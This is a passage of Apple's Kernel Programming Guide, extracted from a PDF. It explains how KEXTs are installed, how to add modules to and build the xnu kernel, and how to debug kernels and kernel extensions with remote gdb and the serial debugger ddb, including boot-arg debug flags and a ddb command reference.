gdb to debug interrupt routines. The former is largely a barrier introduced by the C++ language. The latter may work in some cases but is not recommended due to the potential for gdb to interrupt something upon which kdp (the kernel shim used by gdb) depends in order to function properly. Use care that you do not halt the kernel for too long when you are debugging (for example, when you set breakpoints). In a short time, internal inconsistencies can appear that cause the target kernel to panic or freeze, forcing you to reboot the target. Kernel Extension Overview Debugging Your KEXT 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 153Additional information about debugging can be found in “When Things Go Wrong: Debugging the Kernel” (page 161). Installed KEXTs The Kernel Extension Manager (KEXT Manager) is responsible for loading and unloading all installed KEXTs (commands such as kextload are used only during development). Installed KEXTs are dynamically added to the running OS X kernel as part of the kernel’s address space. An installed and enabled KEXT is invoked as needed. Important: Note that KEXTs are only wrappers(bundles) around a property list, KEXT binaries(or references to other KEXTs), and optional resources. The KEXT describes what is to be loaded; it is the KEXT binaries that are actually loaded. KEXTs are usually installed in the folder /System/Libraries/Extensions. The Kernel Extension Manager (in the form of a daemon, kextd), always checks here. KEXTs can also be installed in ROM or inside an application bundle. Installing KEXTs in an application bundle allows an application to register those KEXTs without the need to install them permanently elsewhere within the system hierarchy. This may be more convenient and allows the KEXT to be associated with a specific, running application. When it starts, the application can register the KEXT and, if desired, unregister it on exit. For example, a network packet sniffer application might employ a Network Kernel Extension (NKE). A tape backup application would require that a tape driver be loaded during the duration of the backup process. When the application exits, the kernel extension is no longer needed and can be unloaded. Note that, although the application is responsible for registering the KEXT, this is no guarantee that the corresponding KEXTs are actually ever loaded. It is still up to a kernel component, such as the I/O Kit, to determine a need, such as matching a piece of hardware to a desired driver, thus causing the appropriate KEXTs (and their dependencies) to be loaded. Kernel Extension Overview Installed KEXTs 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 154This chapter is not about building kernel extensions (KEXTs). There are a number of good KEXT tutorials on Apple’s developer documentation site (http://developer.apple.com/documentation). This chapter is about adding new in-kernel modules(optional parts of the kernel), building kernels, and debugging kernel and kernel extension builds. The discussion is divided into three sections. The first, “Adding New Files or Modules” (page 155), describes how to add new functionality into the kernel itself. You should only add files into the kernel when the use of a KEXT is not possible (for example, when adding certain low-level motherboard hardware support). The second section, “Building Your First Kernel” (page 158), describes how to build a kernel, including how to build a kernel with debugger support, how to add new options, and how to obtain sources that are of similar vintage to those in a particular version of OS X or Darwin. The third section, “When Things Go Wrong: Debugging the Kernel” (page 161), tells how to debug a kernel or kernel module using ddb and gdb. This is a must-read for anyone doing kernel development. Adding New Files or Modules In this context, the term module is used loosely to refer to a collection of related files in the kernel that are controlled by a single config option at compile time. It does not refer to loadable modules (KEXTs). This section describes how to add additional files that will be compiled into the kernel, including how to add a new config option for an additional module. Modifying the Configuration Files The details of adding a new file or module into the kernel differ according to what portion of the kernel contains the file. If you are adding a new file or module into the Mach portion of the kernel, you need to list it in various filesin xnu/osfmk/conf. For the BSD portion of the kernel, you should list it in variousfilesin xnu/bsd/conf. In either case, the procedure is basically the same, just in a different directory. This section is divided into two subsections. The first describes adding the module itself and the second describes enabling the module. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 155 Building and Debugging KernelsAdding the Files or Modules In the appropriate conf directory, you need to add your files or modules into various files. The files MASTER, MASTER.ppc, and MASTER.i386 contain the list of configuration options that should be built into the kernel for all architectures, PowerPC, and i386, respectively. These are supplemented by files, files.ppc, and files.i386, which contain associations between compile options and the files that are related to them for their respective architectures. The format for these two files is relatively straightforward. If you are adding a new module, you should first choose a name for that module. For example, if your module is called mach_foo, you should then add a new option line near the top of files that is whitespace (space or tab) delimited and looks like this: OPTIONS/mach_foo optional mach_foo The first part defines the name of the module as it will be used in #if statements in the code. (See “Modifying the Source Code Files” (page 157) for more information.) The second part is alwaysthe word optional. The third part tells the name of the option as used to turn it on or off in a MASTER file. Any line with mach_foo in the last field will be enabled only if there is an appropriate line in a MASTER file. Then, later in the file, you add osfmk/foo/foo_main.c optional mach_foo osfmk/foo/foo_bar.c optional mach_foo and so on, for each new file associated with that module. This also applies if you are adding a file to an existing module. If you are adding a file that is not associated with any module at all, you add a line that looks like the following to specify that this file should always be included: osfmk/crud/mandatory_file.c standard If you are not adding any modules, then you’re done. Otherwise, you also need to enable your option in one of the MASTER files. Enabling Module Options To enable a module option (as described in the files files), you must add an entry for that option into one of the MASTER files. If your code is not a BSD pseudo-device, you should add something like the following: options MACH_FOO Building and Debugging Kernels Adding New Files or Modules 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 156Otherwise, you should add something like this: pseudo-device mach_foo In the case of a pseudo-device (for example, /dev/random), you can also add a number. When your code checks to see if it should be included, it can also check that number and allocate resources for more than one pseudo-device. The meaning of multiple pseudo-devicesis device-dependent. An example of thisis ppp, which allocates resources for two simultaneous PPP connections. Thus, in the MASTER.ppc file, it has the line: pseudo-device ppp 2 Modifying the Source Code Files In the OS X kernel, all source code files are automatically compiled. It is the responsibility of the C file itself to determine whether its contents need to be included in the build or not. In the example above, you created a module called mach_foo. Assume that you want this file to compile only on PowerPC-based computers. In that case, you should have included the option only in MASTER.ppc and not in MASTER.i386. However, by default, merely specifying the file foo_main.c in files causes it to be compiled, regardless of compile options specified. To make the code compile only when the option mach_foo is included in the configuration, you should begin each C source file with the lines #include #if (MACH_FOO > 0) and end it with #endif /* MACH_FOO */ If mach_foo is a pseudo-device and you need to check the number of mach_foo pseudo-devices included, you can do further tests of the value of MACH_FOO. Note that the file is not something you create. It is created by the makefiles themselves. You must run make exporthdrs before make all to generate these files. Building and Debugging Kernels Adding New Files or Modules 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 157Building Your First Kernel Before you can build a kernel, you must first obtain source code. Source code for the OS X kernel can be found in the Darwin xnu project on http://www.opensource.apple.com. To find out your current kernel version, use the command uname -a. If you run into trouble, search the archives of the darwin-kernel and darwin-development mailing lists for information. If that doesn’t help, ask for assistance on either list. The list archives and subscription information can be found at http://www.lists.apple.com. Note: Before you begin, make sure you extract the sources in a directory whose path does not contain any “special” characters (non-alphanumeric characters other than dash and underscore), as having such characters in the path leading up to the build directory can cause compiling to fail. Also, make sure that /usr/local/bin is in your PATH environment variable as follows: If you are using a csh derivative such as tcsh, you should add set path = (/usr/local/bin $path) to your .tcshrc file If you are using a Bourne shell derivative, you should add export PATH=/usr/local/bin:$PATH to your .bashrc file. Important: Once you have obtained and extracted the sources, before you begin compiling kernelsupport tools, you should configure your system to build using gcc 3.3. The OS X v10.4 kernel will not build using gcc 4.0. To do this, type: sudo gcc_select 3.3 Important: Before building anything, you should make sure you are running the latest version of OS X with the latest developer tools. The xnu compile process may reference various external headers from /System/Library/Frameworks. These headers are only installed as part of a developer toolsinstallation, not as part of the normal OS X install process. Next, you will need to compile several support tools. Get the bootstrap_cmds, Libstreams, kext_tools, IOKitUser, and cctools packagesfrom http://www.opensource.apple.com. Extract the filesfrom these .tar packages, then do the following: sudo mkdir -p /usr/local/bin sudo mkdir -p /usr/local/lib cd bootstrap_cmds-version/relpath.tproj make Building and Debugging Kernels Building Your First Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 158sudo make install cd ../../Libstreams-version make sudo make install cd ../cctools-version sudo cp /usr/include/ar.h \ /System/Library/Frameworks/Kernel.framework/Headers In the cctools package, modify the Makefile, and change the COMMON_SUBDIRS line (including the continuation line after it) to read: COMMON_SUBDIRS = libstuff libmacho misc Finally, issue the following commands: make RC_OS=macos sudo cp misc/seg_hack.NEW /usr/local/bin/seg_hack cd ld make RC_OS=macos kld_build sudo cp static_kld/libkld.a /usr/local/lib sudo ranlib /usr/local/lib/libkld.a Now you’re done with the cctools project. One final step remains: compiling kextsymboltool. To do this, extract the kext_tools tarball, then do the following: sudo mkdir -p /System/Library/Frameworks/IOKit.framework/Versions/A/PrivateHeaders/kext cd /System/Library/Frameworks/IOKit.framework/ sudo ln -s Versions/A/PrivateHeaders PrivateHeaders sudo cp PATH_TO_IOKITUSER/IOKitUser-version/kext.subproj/*.h PrivateHeaders/kext cd PATH_TO_KEXT_TOOLS/kext_tools-version gcc kextsymboltool.c -o kextsymboltool sudo cp kextsymboltool /usr/local/bin Building and Debugging Kernels Building Your First Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 159Warning: If you do not use a version of kextsymboltool that is at least as current as your kernel, you will get serious compile failures. If you see the error message “exported name not in import list”, there’s a good chance you aren’t using a current kextsymboltool. Congratulations. You now have all the necessary tools, libraries, and header files to build a kernel. The next step is to compile the kernel itself. First, change directories into the xnu directory. Next, you need to set a few environment variables appropriately. For your convenience, the kernel sources contain shell scripts to do this for you. If you are using sh, bash, zsh, or some other Bourne-compatible shell, issue the following command: source SETUP/setup.sh If you are using csh, tcsh, or a similar shell, use the following command: source SETUP/setup.csh Then, you should be able to type make exporthdrs make all and get a working kernel in BUILD/obj/RELEASE_PPC/mach_kernel (assuming you are building a RELEASE kernel for PowerPC, of course). If things don’t work, the darwin-kernel mailing list a good place to get help. Building an Alternate Kernel Configuration When building a kernel, you may want to build a configuration other than the RELEASE configuration (the default shipping configuration). Additional configurations are RELEASE_TRACE, DEBUG, DEBUG_TRACE, and PROFILE. These configurations add various additional options (except PROFILE, which is reserved for future expansion, and currently maps onto RELEASE). Building and Debugging Kernels Building an Alternate Kernel Configuration 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 160The most useful and interesting configurations are RELEASE and DEBUG. The release configuration should be the same as a stock Apple-released kernel, so this is interesting only if you are building source that differs from that which was used to build the kernel you are already running. Compiling a kernel without specifying a configuration results in the RELEASE configuration being built. The DEBUG configuration enables ddb, the in-kernel serial debugger. The ddb debugger is helpful to debug panics that occur early in boot or within certain parts of the Ethernet driver. It is also useful for debugging low-level interrupt handler routines that cannot be debugged by using the more traditional gdb. To compile an alternate kernel configuration, you should follow the same basic procedure as outlined previously, changing the final make statement slightly. For example, to build the DEBUG configuration, instead of typing make all you type make KERNEL_CONFIGS=DEBUG all and wait. To turn on additional compile options, you must modify one of the MASTER files. For information on modifying these files, see the section “Enabling Module Options” (page 156). When Things Go Wrong: Debugging the Kernel No matter how careful your programming habits, sometimes things don’t work right the first time. Kernel panics are simply a fact of life during development of kernel extensions or other in-kernel code. There are a number of ways to track down problems in kernel code. In many cases, you can find the problem through careful use of printf or IOLog statements. Some people swear by this method, and indeed, given sufficient time and effort, any bug can be found and fixed without using a debugger. Of course, the key words in that statement are “given sufficient time and effort.” For the rest of us, there are debuggers: gdb and ddb. Setting Debug Flags in Open Firmware With the exception of kernel panics or calls to PE_enter_debugger, it is not possible to do remote kernel debugging without setting debug flags in Open Firmware. These flags are relevant to both gdb and ddb debugging and are important enough to warrant their own section. Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 161To set these flags, you can either use the nvram program (from the OS X command line) or access your computer’s Open Firmware. You can access Open Firmware this by holding down Command-Option-O-F at boot time. For most computers, the default is for Open Firmware to present a command–line prompt on your monitor and accept input from your keyboard. For some older computers you must use a serial line at 38400, 8N1. (Technically, such computers are not supported by OS X, but some are usable under Darwin, and thus they are mentioned here for completeness.) From an Open Firmware prompt, you can set the flags with the setenv command. From the OS X command line, you would use the nvram command. Note that when modifying these flags you should always look at the old value for the appropriate Open Firmware variables and add the debug flags. For example, if you want to set the debug flagsto 0x4, you use one of the following commands. For computers with recent versions of Open Firmware, you would type printenv boot-args setenv boot-args original_contents debug=0x4 from Open Firmware or nvram boot-args nvram boot-args="original_contents debug=0x4" from the command line (as root). For older firmware versions, the interesting variable is boot-command. Thus, you might do something like printenv boot-command setenv boot-command 0 bootr debug=0x4 from Open Firmware or nvram boot-command nvram boot-command="0 bootr debug=0x4" from the command line (as root). Of course, the more important issue is what value to choose for the debug flags. Table 20-1 (page 163) lists the debugging flags that are supported in OS X. Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 162Table 20-1 Debugging flags Symbolic name Flag Meaning DB_HALT 0x01 Halt at boot-time and wait for debugger attach (gdb). DB_PRT 0x02 Send kernel debugging printf output to console. Drop into debugger on NMI (Command–Power, Command-Option-Control-Shift-Escape, or interrupt switch). DB_NMI 0x04 DB_KPRT 0x08 Send kernel debugging kprintf output to serial port. DB_KDB 0x10 Make ddb (kdb) the default debugger (requires a custom kernel). DB_SLOG 0x20 Output certain diagnostic info to the system log. Allow debugger to ARP and route (allows debugging across routers and removes the need for a permanent ARP entry, but is a potential security hole)—not available in all kernels. DB_ARP 0x40 DB_KDP_BP_DIS 0x80 Support old versions of gdb on newer systems. DB_LOG_PI_SCRN 0x100 Disable graphical panic dialog. The option DB_KDP_BP_DIS is not available on all systems, and should not be important if your target and host systems are running the same or similar versions of OS X with matching developer tools. The last option is only available in Mac OS 10.2 and later. Avoiding Watchdog Timer Problems Macintosh computers have various watchdog timers designed to protect the system from certain types of failures. There are two primary watchdog timersin common use: the power management watchdog timer (not present on all systems) and the system crash watchdog timer. Both watchdogs are part of the power management hardware. The first of these, the power management watchdog timer, is designed to restore the system to a known safe state in the event of unexpected communication loss between the power management hardware and the CPU. Thistimer is only present in G4 and earlier desktops and laptops and in early G5 desktops. More specifically, it is present only in machines containing a PMU (Power Management Unit) chip. Under normal circumstances, when communication with the PMU chip is lost, the PMU driver will attempt to get back in sync with the PMU chip. With the possible exception of a momentary loss of keyboard and mouse control, you probably won't notice that anything has happened (and you should never even experience such a stall unless you are writing a device driver that disables interrupts for an extended period of time). Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 163The problem occurs when the disruption in communication is caused by entering the debugger while the PMU chip is in one of these "unsafe" states. If the chip is left in one of these "unsafe" states for too long, it will shut the computer down to prevent overheating or other problems. This problem can be significantly reduced by operating the PMU chip in polled mode. This prevents the watchdog timer from activating. You should only use this option when debugging, however, as it diminishes performance and a crashed system could overheat. To disable this watchdog timer, add the argument pmuflags=1 to the kernel's boot arguments. See “Setting Debug Flags in Open Firmware” (page 161) for information about how to add a boot argument. The second type of watchdog timer is the system crash watchdog timer. This is normally only enabled in OS X Server. If your target machine is running OS X Server, your system will automatically reboot within seconds after a crash to maximize server uptime. You can disable this automatic reboot on crash feature in the server administration tool. Choosing a Debugger There are two basic debugging environments supported by OS X: ddb and gdb. ddb is a built-in debugger that works over a serial line. By contrast, gdb is supported using a debugging shim built into the kernel, which allows a remote computer on the same physical network to attach after a panic (or sooner if you pass certain options to the kernel). For problems involving network extensions or low-level operating system bringups, ddb is the only way to do debugging. For other bugs, gdb is generally easier to use. For completeness, this chapter describes how to use both ddb and gdb to do basic debugging. Since gdb itself is well documented and is commonly used for application programming, this chapter assumes at least a passing knowledge of the basics of using gdb and focuses on the areas where remote (kernel) gdb differs. Note: Only systems with serial hardware support ddb. Thus, it is only possible to use ddb on PowerMac G4 and older systems. Using gdb for Kernel Debugging gdb, short for the GNU Debugger, is a piece of software commonly used for debugging software on UNIX and Linux systems. This section assumes that you have used gdb before, and does not attempt to explain basic usage. In standard OS X builds (and in your builds unless you compile with ddb support), gdb support is built into the system but is turned off except in the case of a kernel panic. Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 164Of course, many software failures in the kernel do not result in a kernel panic but still cause aberrant behavior. For these reasons, you can pass additional flags to the kernel to allow you to attach to a remote computer early in boot or after a nonmaskable interrupt (NMI), or you can programmatically drop into the debugger in your code. You can cause the test computer (the debug target) to drop into the debugger in the following ways: ● debug on panic ● debug on NMI ● debug on boot ● programmatically drop into the default debugger The function PE_enter_debugger can be called from anywhere in the kernel, although if gdb is your default debugger, a crash will result if the network hardware is not initialized or if gdb cannot be used in that particular context. This call is described in the header pexpert/pexpert.h. After you have decided what method to use for dropping into the debugger on the target, you must configure your debug host (the computer that will actually be running gdb). Your debug hostshould be running a version of OS X that is comparable to the version running on your target host. However, it should not be running a customized kernel, since a debug host crash would be problematic, to say the least. Note: It is possible to use a non-OS X system as your debug host. This is not a trivial exercise, however, and a description of building a cross-gdb is beyond the scope of this document. When using gdb, the best results can be obtained when the source code for the customized kernel is present on your debug host. This not only makes debugging easier by allowing you to see the lines of code when you stop execution, it also makes it easier to modify those lines of code. Thus, the ideal situation is for your debug host to also be your build computer. This is not required, but it makes things easier. If you are debugging a kernel extension, it generally suffices to have the source for the kernel extension itself on your debug host. However, if you need to see kernel-specific structures, having the kernel sources on your debug host may also be helpful. Once you have built a kernel using your debug host, you must then copy it to your target computer and reboot the target computer. At this point, if you are doing panic-only debugging, you should trigger the panic. Otherwise, you should tell your target computer to drop into the debugger by issuing an NMI (or by merely booting, in the case of debug=0x1). Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 165Next, unless your kernelsupports ARP while debugging (and unless you enabled it with the appropriate debug flag), you need to add a permanent ARP entry for the target. It will be unable to answer ARP requests while waiting for the debugger. This ensures that your connection won’t suddenly disappear. The following example assumes that your target is target.foo.com with an IP number of 10.0.0.69: $ ping -c 1 target_host_name ping results: .... $ arp -an target.foo.com (10.0.0.69): 00:a0:13:12:65:31 $ sudo arp -s target.foo.com 00:a0:13:12:65:31 $ arp -an target.foo.com (10.0.0.69) at00:a0:13:12:65:31 permanent Now, you can begin debugging by doing the following: gdb /path/to/mach_kernel source /path/to/xnu/osfmk/.gdbinit p proc0 source /path/to/xnu/osfmk/.gdbinit target remote-kdp attach 10.0.0.69 Note that the mach kernel passed as an argument to gdb should be the symbol–laden kernel file located in BUILD/obj/DEBUG_PPC/mach_kernel.sys (for debug kernel builds, RELEASE_PPC for non-debug builds), not the bootable kernel that you copied onto the debug target. Otherwise most of the gdb macros will fail. The correct kernel should be several times as large as a normal kernel. You must do the p proc0 command and source the .gdbinit file (from the appropriate kernel sources) twice to work around a bug in gdb. Of course, if you do not need any of the macros in .gdbinit, you can skip those two instructions. The macros are mostly of interest to people debugging aspects of Mach, though they also provide ways of obtaining information about currently loaded KEXTs. Warning: It may not be possible to detach in a way that the target computer’s kernel continues to run. If you detach, the target hangs until you reattach. It is not always possible to reattach, though the situation is improving in this area. Do not detach from the remote kernel! Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 166If you are debugging a kernel module, you need to do some additional work to get debugging symbol information about the module. First, you need to know the load address for the module. You can get this information by running kextstat (kmodstat on systems running OS X v10.1 or earlier) as root on the target. If you are already in the debugger, then assuming the target did not panic, you should be able to use the continue function in gdb to revive the target, get this information, then trigger another NMI to drop back into the debugger. If the target is no longer functional, and if you have a fully symbol–laden kernel file on your debug host that matches the kernel on your debug target, you can use the showallkmods macro to obtain this information. Obtaining a fully symbol–laden kernel generally requires compiling the kernel yourself. Once you have the load address of the module in question, you need to create a symbol file for the module. You do this in different ways on different versions of OS X. For versions 10.1 and earlier, you use the kmodsyms program to create a symbol file for the module. If your KEXT is called mykext and it is loaded at address 0xf7a4000, for example, you change directories to mykext.kext/Contents/MacOS and type: kmodsyms -k path/to/mach_kernel -o mykext.sym mykext@0xf7a4000 Be sure to specify the correct path for the mach kernel that is running on your target (assuming it is not the same as the kernel running on your debug host). For versions after 10.1, you have two options. If your KEXT does not crash the computer when it loads, you can ask kextload to generate the symbols at load time by passing it the following options: kextload -s symboldir mykext.kext It will then write the symbols for your kernel extension and its dependencies into files within the directory you specified. Of course, this only works if your target doesn’t crash at or shortly after load time. Alternately, if you are debugging an existing panic, or if your KEXT can’t be loaded without causing a panic, you can generate the debugging symbols on your debug host. You do this by typing: kextload -n -s symboldir mykext.kext If will then prompt you for the load address of the kernel extension and the addresses of all its dependencies. As mentioned previously, you can find the addresses with kextstat (or kmodstat) or by typing showallkmods inside gdb. Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 167You should now have a file or files containing symbolic information that gdb can use to determine address–to–name mappings within the KEXT. To add the symbols from that KEXT, within gdb on your debug host, type the command add-symbol-file mykext.sym for each symbol file. You should now be able to see a human-readable representation of the addresses of functions, variables, and so on. Special gdb I/O Addressing Issues As described in “Address Spaces” (page 70), some Macintosh hardware has a third addressing mode called I/O addressing which differs from both physical and virtual addressing modes. Most developers will not need to know about these modes in any detail. Where some developers may run into problems is debugging PCI device drivers and attempting to access device memory/registers. To allow I/O-mapped memory dumping, do the following: set kdp_read_io=1 To dump in physical mode, do the following: set kdp_trans_off=1 For example: (gdb) x/x 0xf8022034 0xf8022034: Cannot access memory at address 0xf8022034 (gdb) set kdp_trans_off=1 (gdb) x/x 0xf8022034 0xf8022034: Cannot access memory at address 0xf8022034 (gdb) set kdp_read_io=1 (gdb) x/x 0xf8022034 0xf8022034: 0x00000020 (gdb) Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 168If you experience problems accessing I/O addresses that are not corrected by this procedure, please contact Apple Developer Technical Support for additional assistance. Using ddb for Kernel Debugging When doing typical debugging, gdb is probably the best solution. However, there are times when gdb cannot be used or where gdb can easily run into problems. Some of these include ● drivers for built-in Ethernet hardware ● interrupt handlers (the hardware variety, not handler threads) ● early bootstrap before the network hardware is initialized When gdb is not practical (or if you’re curious), there is a second debug mechanism that can be compiled into OS X. This mechanism is called ddb, and is similar to the kdb debugger in most BSD UNIX systems. It is not quite as easy to use as gdb, mainly because of the hardware needed to use it. Unlike gdb (which uses Ethernet for communication with a kernel stub), ddb is built into the kernel itself, and interacts directly with the user over a serial line. Also unlike gdb, using ddb requires building a custom kernel using the DEBUG configuration. For more information on building this kernel, see “Building Your First Kernel” (page 158). Note: ddb requires an actual built-in hardware serial line on the debug target. Neither PCI nor USB serial adapters will work. In order to work reliably for interrupt-level debugging, ddb controls the serial ports directly with a polled-mode driver without the use of the I/O Kit. If your debug target does not have a factory serial port, third-party adapter boards may be available that replace your internal modem with a serial port. Since these devices use the built-in serial controller, they should work for ddb. It is not necessary to install OS X drivers for these devices if you are using them only to support ddb debugging. The use of these serial port adapter cards is not an officially supported configuration, and not all computers support the third-party adapter boards needed for ddb support. Consult the appropriate adapter board vendor for compatibility information. If your target computer has two serial ports, ddb uses the modem port (SCC port 0). However, if your target has only one serial port, that port is probably attached to port 1 of the SCC cell, which means that you have to change the default port if you want to use ddb. To use this port (SCC port 1), change the line: const int console_unit=0; Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 169in osfmk/ppc/serial_console.c to read: const int console_unit=1; and recompile the kernel. Once you have a kernel with ddb support, it isrelatively easy to use. First, you need to set up a terminal emulator program on your debug host. If your debug host is running Mac OS 9, you might use ZTerm, for example. For OS X computers, or for computers running Linux or UNIX, minicom provides a good environment. Setting up these programs is beyond the scope of this document. Important: Serial port settings for communicating with ddb must be 57600 8N1. Hardware handshaking may be on, but is not necessary. Note: For targets whose Open Firmware uses the serial ports, remember that the baud rate for communicating with Open Firmware is 38400 and that hardware handshaking must be off. Once you boot a kernel with ddb support, a panic will allow you to drop into the debugger, as will a call to PE_enter_debugger. If the DB_KDB flag is not set, you will have to press the D key on the keyboard to use ddb. Alternately, if both DB_KDB and DB_NMI are set, you should be able to drop into ddb by generating a nonmaskable interrupt (NMI). See “Setting Debug Flags in Open Firmware” (page 161) for more information on debug flags. To generate a nonmaskable interrupt, hold down the command, option, control, and shift keys and hit escape (OS X v10.4 and newer), hold down the command key while pressing the power key on your keyboard (on hardware with a power key), or press the interrupt button on your target computer. At this point, the system should hang, and you should see ddb output on the serial terminal. If you do not, check your configuration and verify that you have specified the correct serial port on both computers. Commands and Syntax of ddb The ddb debugger is much more gdb-like than previous versions, but it still has a syntax that is very much its own (shared only with other ddb and kdb debuggers). Because ddb is substantially different from what most developers are used to using, this section outlines the basic commands and syntax. The commands in ddb are generally in this form: command[/switch] address[,count] Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 170The switches can be one of those shown in Table 20-2 (page 171). Table 20-2 Switch options in ddb Switch Description /A Print the location with line number if possible /I Display as instruction with possible alternate machine-dependent format /a Print the location being displayed /b Display or process by bytes Display low 8 bits as a character (nonprinting characters as octal) or count instructions while executing (depends on instruction) /c /d Display as signed decimal /h Display or process by half word (16 bits) /i Display as an instruction /l Display or process by long word (32 bits) /m Display as unsigned hex with character dump for each line /o Display in unsigned octal /p Print cumulative instruction count and call tree depth at each call or return statement /r Display in current radix, signed /s Display the null-terminated string at address (nonprinting as octal). Display in unsigned decimal or set breakpoint at a user space address (depending on command). /u /x Display in unsigned hex /z Display in signed hex The ddb debugger has a rich command set that has grown over its lifetime. Its command set is similar to that of ddb and kdb on other BSD systems, and their manual pages provide a fairly good reference for the various commands. The command set for ddb includes the following commands: Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 171break[/u] addr Set a breakpoint at the address specified by addr. Execution will stop when the breakpoint is reached. The /u switch means to set a breakpoint in user space. c or continue[/c] Continue execution after reaching a breakpoint. The /c switch meansto count instructions while executing. call Call a function. cond Set condition breakpoints. This command is not supported on PowerPC. cpu cpunum Causes ddb to switch to run on a different CPU. d or delete [addr|#] Delete a breakpoint. This takes a single argument that can be either an address or a breakpoint number. dk Equivalent to running kextstat while the target computer is running. This lists loaded KEXTs, their load addresses, and various related information. dl vaddr Dumps a range of memory starting from the address given. The parameter vaddr is a kernel virtual address. If vaddr is not specified, the last accessed address is used. See also dr, dv. dm Displays mapping information for the last address accessed. dmacro name Delete the macro called name. See macro. dp Displays the currently active page table. dr addr Dumps a range of memory starting from the address given. The parameter address is a physical address. If addr is not specified, the last accessed address is used. See also dl, dv. ds Dumps save areas of all Mach tasks. dv [addr [vsid]] Dumps a range of memory starting from the address given. The parameter addr is a virtual address in the address space indicated by vsid. If addr is not specified, the last accessed address is used. Similarly, if vsid is not specified, the last vsid is used. See also dl, dr. Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 172dwatch addr Delete a watchpoint. See watch. dx Displays CPU registers. examine See print. gdb Switches to gdb mode, allowing gdb to attach to the computer. lt On PowerPC only: Dumps the PowerPC exception trace table. macro name command [ ; command .. ] Create a macro called name that executesthe listed commands. You can show a macro with the command show macro name or delete it with dmacro name. match[/p] Stop at the matching return instruction. If the /p switch is not specified, summary information is printed only at the final return. print[/AIabcdhilmorsuxz] addr1 [addr2 ...] Print the values at the addresses given in the format specified by the switch. If no switch is given, the last used switch is assumed. Synonymous with examine and x. Note that some of the listed switches may work for examine and not for print. reboot Reboots the computer. Immediately. Without doing any file-system unmounts or other cleanup. Do not do this except after a panic. s or step Single step through instructions. search[/bhl] addr value [mask[,count]] Search memory for value starting at addr. If the value is not found, this command can wreak havoc. This command may take other formatting values in addition to those listed. set $name [=] expr Sets the value of the variable or register named by name to the value indicated by expr. show Display system data. For a list of information that can be shown, type the show command by itself. Some additional options are available for certain options, particularly show all. For those suboptions, type show all by itself. Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 173trace[/u] Prints a stack backtrace. If the /u flag is specified, the stack trace extends to user space if supported by architecture-dependent code. until[/p] Stop at the next call or return. w or write[/bhl] addr expr1 [expr2 ... ] Writes the value of expr1 to the memory location stored at addr in increments of a byte, half word, or long word. If additional expressions are specified, they are written to consecutive bytes, half words, or long words. watch addr[,size] Sets a watchpoint on a particular address. Execution stops when the value stored at that address is modified. Watch points are not supported on PowerPC. Warning: Watching addresses in wired kernel memory may cause unrecoverable errors on i386. x Short for examine. See print. xb Examine backward. Execute the last examine command, but use the address previous to the last one used (jumping backward by increments of the last width displayed). xf Examine forward. Execute the last examine command, but use the address following the last one used (jumping by increments of the last width displayed). The ddb debugger should seem relatively familiar to users of gdb, and its syntax was changed radically from its predecessor, kdb, to be more gdb-like. However, it is still sufficiently different that you should take some time to familiarize yourself with its use before attempting to debug something with it. It is far easier to use ddb on a system whose memory hasn’t been scribbled upon by an errant DMA request, for example. Building and Debugging Kernels When Things Go Wrong: Debugging the Kernel 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 174This bibliography contains related material that may be of interest. The editions listed are the editions that were current when this list was compiled, but newer versions may be available. Apple OS X Publications The following Apple publications have information that could be of interest to you if you are programming in the kernel: Hello Debugger: Debugging a Device Driver With GDB (tutorial). Hello I/O Kit: Creating a Device Driver With Xcode (tutorial) Hello Kernel: Creating a Kernel Extension With Xcode (tutorial). Accessing Hardware From Applications I/O Kit Fundamentals Network Kernel Extensions Programming Guide Network Kernel Extensions (legacy) Mac Technology Overview Porting UNIX/Linux Applications to OS X I/O Kit Device Driver Design Guidelines Packaging Your KEXT for Distribution and Installation(tutorial). General UNIX and Open Source Resources A Quarter Century of UNIX . Peter H. Salus. Addison-Wesley, 1994.ISBN 0-201-54777-5. Berkeley Software Distribution . CSRG, UC Berkeley. USENIX and O’Reilly, 1994.ISBN 1-56592-082-1. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 175 BibliographyTheCathedralandtheBazaar:MusingsonLinuxandOpenSourcebyanAccidentalRevolutionary . Eric S.Raymond. O’Reilly & Associates, 1999.ISBN 1-56592-724-9. The New Hacker’s Dictionary . 3rd. Ed., Eric S. Raymond. MIT Press, 1996. ISBN 0-262-68092-0. Open Sources: Voices from the Open Source Revolution . Edited by Chris DiBona, Sam Ockman & Mark Stone. O’Reilly & Associates, 